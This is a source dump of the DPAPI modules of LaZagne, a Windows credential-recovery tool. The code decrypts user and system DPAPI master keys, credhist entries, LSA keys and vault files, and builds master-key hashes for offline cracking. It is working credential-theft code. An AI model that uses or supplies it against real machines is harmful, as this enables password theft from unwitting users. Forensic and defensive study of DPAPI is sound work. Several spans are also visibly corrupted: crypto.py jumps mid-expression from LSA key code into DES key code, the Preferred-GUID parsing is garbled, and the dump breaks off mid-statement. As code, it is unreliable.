self.curr_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") def addEntry(self, blob): """ Creates a CredhistEntry object with blob then adds it to the store """ x = CredhistEntry(blob) self.entries[x.guid] = x self.entries_list.append(x) def decrypt_with_hash(self, pwdhash): """ Try to decrypt each entry with the given hash """ if self.valid: return for entry in self.entries_list: entry.decrypt_with_hash(pwdhash) def decrypt_with_password(self, password): """ Decrypts this credhist entry with the given user's password. Simply computes the password hash then calls self.decrypt_with_hash() """ if isinstance(password, bytes): password = password.decode("latin-1") self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest()) ================================================ FILE: Windows/lazagne/config/DPAPI/crypto.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################# # ## # This file is part of DPAPIck ## # Windows DPAPI decryption & forensic toolkit ## # ## # ## # Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## # This document is the property of Cassidian SAS, it may not be copied or ## # circulated without prior licence ## # ## # Author: Jean-Michel Picod ## # ## # This program is distributed under GPLv3 licence (see LICENCE.txt) ## # ## ############################################################################# import array import hashlib import hmac import struct import sys from lazagne.config.crypto.rc4 import RC4 from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC, AESModeOfOperationECB from lazagne.config.crypto.pyDes import triple_des, des, ECB, CBC from lazagne.config.winstructure import char_to_int, chr_or_byte try: xrange except NameError: xrange = range AES_BLOCK_SIZE = 16 class CryptoAlgo(object): """ This class is used to wrap Microsoft algorithm IDs with M2Crypto """ class Algo(object): def __init__(self, data): self.data = data def __getattr__(self, attr): if attr in self.data: return self.data[attr] raise AttributeError(attr) _crypto_data = {} @classmethod def add_algo(cls, algnum, **kargs): cls._crypto_data[algnum] = cls.Algo(kargs) if 'name' in kargs: kargs['ID'] = algnum cls._crypto_data[kargs['name']] = cls.Algo(kargs) @classmethod def get_algo(cls, algnum): return cls._crypto_data[algnum] def __init__(self, i): self.algnum = i self.algo = CryptoAlgo.get_algo(i) name = property(lambda self: self.algo.name) module = property(lambda self: self.algo.module) keyLength = property(lambda self: self.algo.keyLength / 8) ivLength = property(lambda self: self.algo.IVLength / 8) blockSize = property(lambda self: self.algo.blockLength / 8) digestLength = property(lambda self: self.algo.digestLength / 8) def do_fixup_key(self, key): try: return self.algo.keyFixup.__call__(key) except AttributeError: return key def __repr__(self): return "%s [%#x]" % (self.algo.name, self.algnum) def des_set_odd_parity(key): _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254] tmp = array.array("B") tmp.fromstring(key) for i, v in enumerate(tmp): tmp[i] = _lut[v] return tmp.tostring() CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des, keyFixup=des_set_odd_parity) CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des, keyFixup=des_set_odd_parity) CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): """ Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC. Instead of updating the inner pad, we update the outer pad... This algorithm is also used when checking the HMAC for integrity after decryption :param masterkey: decrypted masterkey (should be 64 bytes long) :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) :param entropy: this is the optional entropy from CryptProtectData() API :param strongPassword: optional password used for decryption or the blob itself :param verifBlob: optional encrypted blob used for integrity check :returns: decryption key :rtype : str """ if len(masterkey) > 20: masterkey = hashlib.sha1(masterkey).digest() masterkey += b"\x00" * int(hashAlgo.blockSize) ipad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) opad = b"".join(chr_or_byte(char_to_int(masterkey[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) digest = hashlib.new(hashAlgo.name) digest.update(ipad) digest.update(nonce) tmp = digest.digest() digest = hashlib.new(hashAlgo.name) digest.update(opad) digest.update(tmp) if entropy is not None: digest.update(entropy) if strongPassword is not None: strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() digest.update(strongPassword) elif verifBlob is not None: digest.update(verifBlob) return digest.digest() def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None): """ Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information. This implementation relies on an RFC compliant HMAC implementation This algorithm is also used when checking the HMAC for integrity after decryption :param masterkey: decrypted masterkey (should be 64 bytes long) :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) :param entropy: this is the optional entropy from CryptProtectData() API :param strongPassword: optional password used for decryption or the blob itself :param verifBlob: optional encrypted blob used for integrity check :returns: decryption key :rtype : str """ if len(masterkey) > 20: masterkey = hashlib.sha1(masterkey).digest() digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name)) digest.update(nonce) if entropy is not None: digest.update(entropy) if strongPassword is not None: strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest() digest.update(strongPassword) elif verifBlob is not None: digest.update(verifBlob) return digest.digest() def CryptDeriveKey(h, cipherAlgo, hashAlgo): """ Internal use. Mimics the corresponding native Microsoft function """ if len(h) > hashAlgo.blockSize: h = hashlib.new(hashAlgo.name, h).digest() if len(h) >= cipherAlgo.keyLength: return h h += b"\x00" * int(hashAlgo.blockSize) ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize))) opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize))) k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest() k = k[:cipherAlgo.keyLength] k = cipherAlgo.do_fixup_key(k) return k def decrypt_lsa_key_nt5(lsakey, syskey): """ This function decrypts the LSA key using the syskey """ dg = hashlib.md5() dg.update(syskey) for i in xrange(1000): dg.update(lsakey[60:76]) arcfour = RC4(dg.digest()) deskey = arcfour.encrypt(lsakey[12:60]) return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)] def decrypt_lsa_key_nt6(lsakey, syskey): """ This function decrypts the LSA keys using the syskey """ dg = hashlib.sha256() dg.update(syskey) for i in range(1000): dg.update(lsakey[28:60]) k = AESModeOfOperationECB(dg.digest()) keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)]) size = struct.unpack_from("> 1) des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2)) des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3)) des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4)) des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5)) des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6)) des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7)) des_key.append(char_to_int(block_key[6]) & 0x7F) des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key])) decrypted_data += des(des_key, ECB).decrypt(enc_block) j += 7 if len(key[j:j + 7]) < 7: j = len(key[j:j + 7]) dec_data_len = struct.unpack(" (3, 0): tmp += struct.pack(">B", x ^ y) else: tmp += chr(char_to_int(x) ^ char_to_int(y)) derived = tmp buff += derived return buff[:int(keylen)] def derivePwdHash(pwdhash, sid, digest='sha1'): """ Internal use. Computes the encryption key from a user's password hash """ return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds): """ Internal use. Decrypts data stored in DPAPI structures. """ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname) key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):] key = key[:int(cipherAlgo.keyLength)] iv = iv[:int(cipherAlgo.ivLength)] if "AES" in cipherAlgo.name: cipher = AESModeOfOperationCBC(key, iv=iv) cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)]) else: cipher = cipherAlgo.module(key, CBC, iv) cleartxt = cipher.decrypt(raw) return cleartxt def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value): """ Internal function used to compute HMACs of DPAPI structures """ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname)) encKey.update(hmacSalt) encKey = encKey.digest() rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname)) rv.update(value) return rv.digest() ================================================ FILE: Windows/lazagne/config/DPAPI/eater.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################# ## ## ## This file is part of DPAPIck ## ## Windows DPAPI decryption & forensic toolkit ## ## ## ## ## ## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## ## This document is the property of Cassidian SAS, it may not be copied or ## ## circulated without prior licence ## ## ## ## Author: Jean-Michel Picod ## ## ## ## This program is distributed under GPLv3 licence (see LICENCE.txt) ## ## ## ############################################################################# import struct class Eater(object): """This class is a helper for parsing binary structures.""" def __init__(self, raw, offset=0, end=None, endianness="<"): self.raw = raw self.ofs = offset if end is None: end = len(raw) self.end = end self.endianness = endianness def prepare_fmt(self, fmt): """Internal use. Prepend endianness to the given format if it is not already specified. fmt is a format string for struct.unpack() Returns a tuple of the format string and the corresponding data size. """ if fmt[0] not in ["<", ">", "!", "@"]: fmt = self.endianness+fmt return fmt, struct.calcsize(fmt) def read(self, fmt): """Parses data with the given format string without taking away bytes. Returns an array of elements or just one element depending on fmt. """ fmt, sz = self.prepare_fmt(fmt) v = struct.unpack_from(fmt, self.raw, self.ofs) if len(v) == 1: v = v[0] return v def eat(self, fmt): """Parses data with the given format string. Returns an array of elements or just one element depending on fmt. """ fmt, sz = self.prepare_fmt(fmt) v = struct.unpack_from(fmt, self.raw, self.ofs) if len(v) == 1: v = v[0] self.ofs += sz return v def eat_string(self, length): """Eats and returns a string of length characters""" return self.eat("%us" % length) def eat_length_and_string(self, fmt): """Eats and returns a string which length is obtained after eating an integer represented by fmt """ l = self.eat(fmt) return self.eat_string(l) def pop(self, fmt): """Eats a structure represented by fmt from the end of raw data""" fmt, sz = self.prepare_fmt(fmt) self.end -= sz v = struct.unpack_from(fmt, self.raw, self.end) if len(v) == 1: v = v[0] return v def pop_string(self, length): """Pops and returns a string of length characters""" return self.pop("%us" % length) def pop_length_and_string(self, fmt): """Pops and returns a string which length is obtained after poping an integer represented by fmt. """ l = self.pop(fmt) return self.pop_string(l) def remain(self): """Returns all the bytes that have not been eated nor poped yet.""" return self.raw[self.ofs:self.end] def eat_sub(self, length): """Eats a sub-structure that is contained in the next length bytes""" sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness) self.ofs += length return sub def __nonzero__(self): return self.ofs < self.end class DataStruct(object): """Don't use this class unless you know what you are doing!""" def __init__(self, raw=None): if raw is not None: self.parse(Eater(raw, endianness="<")) def parse(self, eater_obj): raise NotImplementedError("This function must be implemented in subclasses") ================================================ FILE: Windows/lazagne/config/DPAPI/masterkey.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Code based from these two awesome projects: - DPAPICK : https://bitbucket.org/jmichel/dpapick - DPAPILAB : https://github.com/dfirfpi/dpapilab """ from . import crypto from .credhist import CredHistFile from .system import CredSystem from .eater import DataStruct, Eater from collections import defaultdict import binascii import codecs import hashlib import struct import os from lazagne.config.constant import constant from lazagne.config.crypto.md4 import MD4 class MasterKey(DataStruct): """ This class represents a MasterKey block contained in a MasterKeyFile """ def __init__(self, raw=None): self.decrypted = False self.key = None self.key_hash = None self.hmacSalt = None self.hmac = None self.hmacComputed = None self.cipherAlgo = None self.hashAlgo = None self.rounds = None self.iv = None self.version = None self.ciphertext = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.iv = data.eat("16s") self.rounds = data.eat("L") self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) self.ciphertext = data.remain() def decrypt_with_hash(self, sid, pwdhash): """ Decrypts the masterkey with the given user's hash and SID. Simply computes the corresponding key then calls self.decrypt_with_key() """ self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid)) def decrypt_with_password(self, sid, pwd): """ Decrypts the masterkey with the given user's password and SID. Simply computes the corresponding key, then calls self.decrypt_with_hash() """ try: pwd = pwd.encode("UTF-16LE") except Exception: return # sha1 self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new("sha1", pwd).digest()) if self.decrypted: return # md4 self.decrypt_with_hash(sid=sid, pwdhash=binascii.unhexlify(MD4(pwd).hexdigest())) # hashlib does not support md4 hash anymore # for algo in ["sha1", "md4"]: # self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest()) # if self.decrypted: # break def decrypt_with_key(self, pwdhash): """ Decrypts the masterkey with the given encryption key. This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one. Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return. """ if self.decrypted or not pwdhash: return # Compute encryption key cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, self.rounds) self.key = cleartxt[-64:] hmacSalt = cleartxt[:16] hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)] hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key) self.decrypted = hmac == hmacComputed if self.decrypted: self.key_hash = hashlib.sha1(self.key).digest() class CredHist(DataStruct): """This class represents a Credhist block contained in the MasterKeyFile""" def __init__(self, raw=None): self.version = None self.guid = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") class DomainKey(DataStruct): """This class represents a DomainKey block contained in the MasterKeyFile. Currently does nothing more than parsing. Work on Active Directory stuff is still on progress. """ def __init__(self, raw=None): self.version = None self.secretLen = None self.accesscheckLen = None self.guidKey = None self.encryptedSecret = None self.accessCheck = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.secretLen = data.eat("L") self.accesscheckLen = data.eat("L") self.guidKey = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") self.encryptedSecret = data.eat("%us" % self.secretLen) self.accessCheck = data.eat("%us" % self.accesscheckLen) class MasterKeyFile(DataStruct): """ This class represents a masterkey file. """ def __init__(self, raw=None): self.masterkey = None self.backupkey = None self.credhist = None self.domainkey = None self.decrypted = False self.version = None self.guid = None self.policy = None self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") data.eat("2L") self.guid = data.eat("72s").replace(b"\x00", b"") data.eat("2L") self.policy = data.eat("L") self.masterkeyLen = data.eat("Q") self.backupkeyLen = data.eat("Q") self.credhistLen = data.eat("Q") self.domainkeyLen = data.eat("Q") if self.masterkeyLen > 0: self.masterkey = MasterKey() self.masterkey.parse(data.eat_sub(self.masterkeyLen)) if self.backupkeyLen > 0: self.backupkey = MasterKey() self.backupkey.parse(data.eat_sub(self.backupkeyLen)) if self.credhistLen > 0: self.credhist = CredHist() self.credhist.parse(data.eat_sub(self.credhistLen)) if self.domainkeyLen > 0: self.domainkey = DomainKey() self.domainkey.parse(data.eat_sub(self.domainkeyLen)) def get_key(self): """ Returns the first decrypted block between Masterkey and BackupKey. If none has been decrypted, returns the Masterkey block. """ if self.masterkey.decrypted: return self.masterkey.key or self.masterkey.key_hash elif self.backupkey.decrypted: return self.backupkey.key return self.masterkey.key def jhash(self, sid=None, context='local'): """ Compute the hash used to be bruteforced. From the masterkey field of the mk file => mk variable. """ if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower(): version = 1 hmac_algo = 'sha1' cipher_algo = 'des3' elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower(): version = 2 hmac_algo = 'sha512' cipher_algo = 'aes256' else: return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format( cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo) context_int = 0 if context == "domain": context_int = 2 elif context == "local": context_int = 1 return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format( version=version, context=context_int, sid=sid, cipher_algo=cipher_algo, hmac_algo=hmac_algo, rounds=self.masterkey.rounds, iv=self.masterkey.iv.encode("hex"), size=len(self.masterkey.ciphertext.encode("hex")), ciphertext=self.masterkey.ciphertext.encode("hex") ) class MasterKeyPool(object): """ This class is the pivot for using DPAPIck. It manages all the DPAPI structures and contains all the decryption intelligence. """ def __init__(self): self.keys = defaultdict( lambda: { 'password': None, # contains cleartext password 'mkf': [], # contains the masterkey file object } ) self.mkfiles = [] self.credhists = {} self.mk_dir = None self.nb_mkf = 0 self.nb_mkf_decrypted = 0 self.preferred_guid = None self.system = None def add_master_key(self, mkey): """ Add a MasterKeyFile is the pool. mkey is a string representing the content of the file to add. """ mkf = MasterKeyFile(mkey) self.keys[mkf.guid]['mkf'].append(mkf) # Store mkfile object self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable def load_directory(self, directory): """ Adds every masterkey contained in the given directory to the pool. """ if os.path.exists(directory): self.mk_dir = directory for k in os.listdir(directory): try: with open(os.path.join(directory, k), 'rb') as f: self.add_master_key(f.read()) self.nb_mkf += 1 except Exception: pass return True return False def get_master_keys(self, guid): """ Returns an array of Masterkeys corresponding to the given GUID. """ return self.keys.get(guid, {}).get('mkf') def get_password(self, guid): """ Returns the password found corresponding to the given GUID. """ return self.keys.get(guid, {}).get('password') def add_credhist_file(self, sid, credfile): """ Adds a Credhist file to the pool. """ if os.path.exists(credfile): try: with open(credfile, 'rb') as f: self.credhists[sid] = CredHistFile(f.read()) except Exception: pass def get_preferred_guid(self): """ Extract from the Preferred file the associated GUID. This guid represent the preferred masterkey used by the system. This means that it has been encrypted using the current password not an older one. """ if self.preferred_guid: return self.preferred_guid if self.mk_dir: preferred_file = os.path.join(self.mk_dir, u'Preferred') if os.path.exists(preferred_file): with open(preferred_file, 'rb') as pfile: GUID1 = pfile.read(8) GUID2 = pfile.read(8) GUID = struct.unpack("HLH", GUID2) self.preferred_guid = b"%s-%s-%s-%s-%s%s" % ( format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'), format(GUID2[1], '08x'), format(GUID2[2], '04x')) return self.preferred_guid.encode() return False def get_cleartext_password(self, guid=None): """ Get cleartext password if already found of the associated guid. If not guid specify, return the associated password of the preferred guid. """ if not guid: guid = self.get_preferred_guid() if guid: return self.get_password(guid) def get_dpapi_hash(self, sid, context='local'): """ Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat. No admin privilege are required to extract it. :param context: expect local or domain depending of the windows environment. """ self.get_preferred_guid() for mkf in self.mkfiles: if self.preferred_guid == mkf.guid: return mkf.jhash(sid=sid, context=context) def add_system_credential(self, blob): """ Adds DPAPI_SYSTEM token to the pool. blob is a string representing the LSA secret token """ self.system = CredSystem(blob) def try_credential(self, sid, password=None): """ This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. Should be called as a generator (ex: for r in try_credential(sid, password)) """ # Check into cache to gain time (avoid checking twice the same thing) if constant.dpapi_cache.get(sid): if constant.dpapi_cache[sid]['password'] == password: if constant.dpapi_cache[sid]['decrypted']: yield True, '' else: yield False, '' # All master key files have not been already decrypted if self.nb_mkf_decrypted != self.nb_mkf: for guid in self.keys: for mkf in self.keys[guid].get('mkf', ''): if not mkf.decrypted: mk = mkf.masterkey if mk: mk.decrypt_with_password(sid, password) if not mk.decrypted and self.credhists.get(sid) is not None: # Try using credhist file self.credhists[sid].decrypt_with_password(password) for credhist in self.credhists[sid].entries_list: mk.decrypt_with_hash(sid, credhist.pwdhash) if credhist.ntlm is not None and not mk.decrypted: mk.decrypt_with_hash(sid, credhist.ntlm) if mk.decrypted: yield u'masterkey {masterkey} decrypted using credhists key'.format( masterkey=mk.guid.decode()) self.credhists[sid].valid = True constant.dpapi_cache[sid] = { 'password': password, 'decrypted': mk.decrypted } if mk.decrypted: # Save the password found self.keys[mkf.guid]['password'] = password mkf.decrypted = True self.nb_mkf_decrypted += 1 yield True, u'{password} ok for masterkey {masterkey}'.format(password=password, masterkey=mkf.guid.decode()) else: yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password, masterkey=mkf.guid.decode()) def try_credential_hash(self, sid, pwdhash=None): """ This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID. Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash)) """ # All master key files have not been already decrypted if self.nb_mkf_decrypted != self.nb_mkf: for guid in self.keys: for mkf in self.keys[guid].get('mkf', ''): if not mkf.decrypted: mk = mkf.masterkey mk.decrypt_with_hash(sid, pwdhash) if not mk.decrypted and self.credhists.get(sid) is not None: # Try using credhist file self.credhists[sid].decrypt_with_hash(pwdhash) for credhist in self.credhists[sid].entries_list: mk.decrypt_with_hash(sid, credhist.pwdhash) if credhist.ntlm is not None and not mk.decrypted: mk.decrypt_with_hash(sid, credhist.ntlm) if mk.decrypted: yield True, u'masterkey {masterkey} decrypted using credhists key'.format( masterkey=mk.guid) self.credhists[sid].valid = True break if mk.decrypted: mkf.decrypted = True self.nb_mkf_decrypted += 1 yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode()) else: yield False, u'{hash} not ok for masterkey {masterkey}'.format( hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode()) def try_system_credential(self): """ Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key Should be called as a generator (ex: for r in try_system_credential()) """ for guid in self.keys: for mkf in self.keys[guid].get('mkf', ''): if not mkf.decrypted: mk = mkf.masterkey if mk: mk.decrypt_with_key(self.system.user) if not mk.decrypted: mk.decrypt_with_key(self.system.machine) if mk.decrypted: mkf.decrypted = True self.nb_mkf_decrypted += 1 yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode()) else: yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format( masterkey=mkf.guid.decode()) else: yield False, u'System masterkey not found for masterkey {masterkey}'.format( masterkey=mkf) ================================================ FILE: Windows/lazagne/config/DPAPI/system.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Code based from these two awesome projects: - DPAPICK : https://bitbucket.org/jmichel/dpapick - DPAPILAB : https://github.com/dfirfpi/dpapilab """ from .eater import DataStruct class CredSystem(DataStruct): """ This represents the DPAPI_SYSTEM token which is stored as an LSA secret. Sets 2 properties: self.machine self.user """ def __init__(self, raw=None): self.revision = None self.machine = None self.user = None DataStruct.__init__(self, raw) def parse(self, data): """Parses the given data. May raise exceptions if incorrect data are given. You should not call this function yourself; DataStruct does data is a DataStruct object. Returns nothing. """ self.revision = data.eat("L") self.machine = data.eat("20s") self.user = data.eat("20s") ================================================ FILE: Windows/lazagne/config/DPAPI/vault.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Code based from these two awesome projects: - DPAPICK : https://bitbucket.org/jmichel/dpapick - DPAPILAB : https://github.com/dfirfpi/dpapilab """ import codecs import struct from .blob import DPAPIBlob from .eater import DataStruct, Eater from lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC from lazagne.config.winstructure import char_to_int import os AES_BLOCK_SIZE = 16 # =============================================================================== # VAULT POLICY file structs # =============================================================================== class VaultPolicyKey(DataStruct): """ Structure containing the AES key used to decrypt the vcrd files """ def __init__(self, raw=None): # self.size = None self.unknown1 = None self.unknown2 = None self.dwMagic = None self.dwVersion = None self.cbKeyData = None self.key = None DataStruct.__init__(self, raw) def parse(self, data): # self.size = data.eat("L") self.unknown1 = data.eat("L") self.unknown2 = data.eat("L") self.dwMagic = data.eat("L") # Constant: 0x4d42444b self.dwVersion = data.eat("L") self.cbKeyData = data.eat("L") if self.cbKeyData > 0: # self.key = data.eat_sub(self.cbKeyData) self.key = data.eat(str(self.cbKeyData) + "s") class VaultPolicyKeys(DataStruct): """ Structure containing two AES keys used to decrypt the vcrd files - First key is an AES 128 - Second key is an AES 256 """ def __init__(self, raw=None): self.vpol_key1_size = None self.vpol_key1 = None self.vpol_key2_size = None self.vpol_key2 = None DataStruct.__init__(self, raw) def parse(self, data): self.vpol_key1_size = data.eat("L") if self.vpol_key1_size > 0: self.vpol_key1 = VaultPolicyKey() self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size)) self.vpol_key2_size = data.eat("L") if self.vpol_key2_size > 0: self.vpol_key2 = VaultPolicyKey() self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size)) class VaultPolicy(DataStruct): """ Policy.vpol file is a DPAPI blob with an header containing a textual description and a GUID that should match the Vault folder name Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files. """ def __init__(self, raw=None): self.version = None self.guid = None self.description = None self.unknown1 = None self.unknown2 = None self.unknown3 = None # VPOL_STORE self.size = None self.unknown4 = None self.unknown5 = None # DPAPI_BLOB_STORE self.blob_store_size = None self.blob_store_raw = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.unknown1 = data.eat("L") self.unknown2 = data.eat("L") self.unknown3 = data.eat("L") # VPOL_STORE self.size = data.eat("L") self.unknown4 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") self.unknown5 = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") # DPAPI_BLOB_STORE self.blob_store_size = data.eat("L") if self.blob_store_size > 0: self.blob_store_raw = DPAPIBlob() self.blob_store_raw.parse(data.eat_sub(self.blob_store_size)) # =============================================================================== # VAULT file structs # =============================================================================== class VaultAttribute(DataStruct): """ This class contains the encrypted data we are looking for (data + iv) """ def __init__(self, raw=None): self.id = None self.attr_unknown_1 = None self.attr_unknown_2 = None self.attr_unknown_3 = None self.padding = None self.attr_unknown_4 = None self.size = None # VAULT_ATTRIBUTE_ENCRYPTED self.has_iv = None self.iv_size = None self.iv = None self.data = None self.stream_end = None DataStruct.__init__(self, raw) def parse(self, data): self.id = data.eat("L") self.attr_unknown_1 = data.eat("L") self.attr_unknown_2 = data.eat("L") self.attr_unknown_3 = data.eat("L") # self.padding = data.eat("6s") if self.id 